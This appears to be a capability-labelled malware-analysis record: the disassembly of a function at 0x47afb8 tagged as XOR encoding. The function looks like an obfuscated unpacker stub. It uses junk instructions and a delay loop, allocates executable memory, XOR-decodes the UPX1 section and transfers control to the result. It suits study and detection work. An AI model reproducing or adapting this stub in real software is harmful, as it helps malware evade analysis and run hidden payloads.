Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa19ca6b9
and esi, eax
sub esi, eax
popal
add esi, 0x9f9d19d8
sub esi, eax
mov eax, 0
mov ecx, edi
and ebx, ebx
mov esi, ebx
mov edx, ecx
mov ebx, esi
mov ebx, 0xc8b508fc
and ebx, esi
mov edi, edx
and esi, esi
sub ebx, 0x9715fcde
dec esi
add eax, 1
add ebx, ebx
sub ebx, 0xc34e3c22
cmp eax, 0x100e995
jne 0x47afd0
not ebx
or ebx, esi
inc esi
cmp eax, 0x100e995
je 0x47b01a
mov ecx, 0
mov byte [ecx], dl
add esi, 0xf969b5ac
mov esi, ebx
sub ebx, esi
not eax
add eax, 0xc1850641
mov edx, 0x47ada2
mov esi, edi
inc edi
add edi, 1
mov eax, 0x47af96
add esi, 0x166157bf
dec ecx
mov ebx, dword [edx]
mov esi, 0x2b349ae1
dec edi
and ebx, 0xff
mov edi, 0x9552e40e
sub ecx, edi
add esi, 0xd246898f
xor dword [eax], ebx
inc ecx
sub ecx, edi
inc eax
sub edi, 0x8e9011d7
and ecx, ecx
add edx, 1
or esi, ecx
add ecx, esi
sub esi, 0x19bf74c9
cmp eax, entry0
jl 0x47b046
sub edi, esi
mov esi, 0xe147c446
sub esi, 1
sub ecx, 0x8571636e
not ecx
mov edi, 0x11d38061
mov ecx, 0x7a4bcee4
mov esi, 0x47af9a
inc ecx
mov ecx, 0x116ba756
mov edx, ebx
mov esi, dword [esi]
and ebx, ebx
add ebx, ecx
mov esi, dword [esi]
add ecx, 0x1c695921
mov edi, ebx
not edi
push esi
or edx, ecx
mov ebx, 0xed4afddb
mov ecx, edx
mov esi, 0x47af96
mov edi, ebx
sub edi, edx
mov esi, dword [esi]
mov edi, edx
sub ecx, 0xf8a95a52
mov esi, dword [esi]
or ecx, ebx
not ebx
sub edx, 0x64b541dd
push 0x47af9e
add ebx, 0x7b080acb
or ecx, ecx
and ecx, edx
call esi
or ebx, edx
add edx, 0xe15e5200
pop esi
mov ecx, edi
not edi
push 0x47afab
add edx, 0x38df85c6
add ebx, 0x145cd65d
push eax
sub ecx, 0x40400085
sub ecx, 0x1e0856aa
call esi
add ebx, 0xbc26e842
not edx
sub esp, 4
mov dword [esp], 0x40
sub edi, 0xecb4e9ce
and edi, edx
or ebx, ecx
push 0x3000
and edx, edi
and ecx, edx
push 0x20000545
mov edi, ecx
not edx
push 0
not edi
add edi, ebx
call eax
or ebx, ecx
not ecx
add eax, 0x200004a6
add edi, 0x50f10811
inc ebx
add ecx, 0xd851b7b8
mov esi, 0xf85c6751
add ecx, ecx
not edx
mov edi, edx
mov dword [eax], esi
dec ebx
and ebx, ebx
sub ecx, edx
mov esi, dword [eax]
inc ebx
add ebx, 0xb2aeb790
cmp esi, 0xf85c6751
je 0x47b1aa
mov edx, 0
mov ebx, dword [edx]
or edi, edi
and edx, edx
add edi, ebx
add ebx, ecx
add edi, ebx
dec esi
add eax, 0xaff27575
sub eax, 0x6f5b891b
mov ebx, section.UPX1
add eax, esi
sub eax, esi
or esi, eax
mov edx, 0x47ada1
add eax, 0xb35ef212
or esi, esi
inc eax
mov ecx, 0
mov eax, esi
not eax
mov edi, 0x47ada2
or eax, esi
and esi, eax
lea edi, [ecx + edi]
add esi, 0x28df38a2
add esi, eax
mov edi, dword [edi]
sub eax, 0x9f69f37c
not eax
not esi
and edi, 0xff
and esi, eax
sub esi, eax
not esi
inc ecx
dec esi
and eax, eax
cmp ecx, 0x1f4
jne 0x47b220
mov ecx, 0
sub esi, 1
add eax, eax
add esi, 0xf3a74b7c
add eax, 1
sub esi, 0x582c84ec
xor dword [ebx], edi
add esi, esi
mov eax, 0x14fa49d5
add eax, 0x84ff2397
add ebx, 2
not esi
or esi, esi
add esi, 0xfb03b447
cmp ebx, edx
jl 0x47b1e3
or esi, eax
sub esi, eax
and esi, esi
and esi, esi
sub esi, 0x7bac5703
dec eax
mov eax, section.UPX1
add esi, 0x7222480a
inc esi
mov ecx, section.UPX1
mov ebx, 0xd398f047
and ebx, ebx
mov edi, 0x47ada1
sub ebx, esi
mov ebx, esi
inc ebx
mov edx, 0
or esi, esi
add ebx, 0x689c89fe
mov dl, byte [ecx]
or ebx, esi
and esi, esi
mov ebx, 0x8c1e108b
mov byte [eax], dl
mov esi, ebx
inc esi
sub esi, ebx
inc eax
inc ebx
add ebx, 1
sub esi, 1
add ecx, 2
mov esi, 0x498ef5de
and esi, esi
cmp ecx, edi
jle 0x47b29f
sub ebx, 1
sub esi, 0x8a0d8cf2
dec esi
or eax, esi
and esi, eax
push 0x45e6a0
sub esi, 1
dec esi
inc eax
ret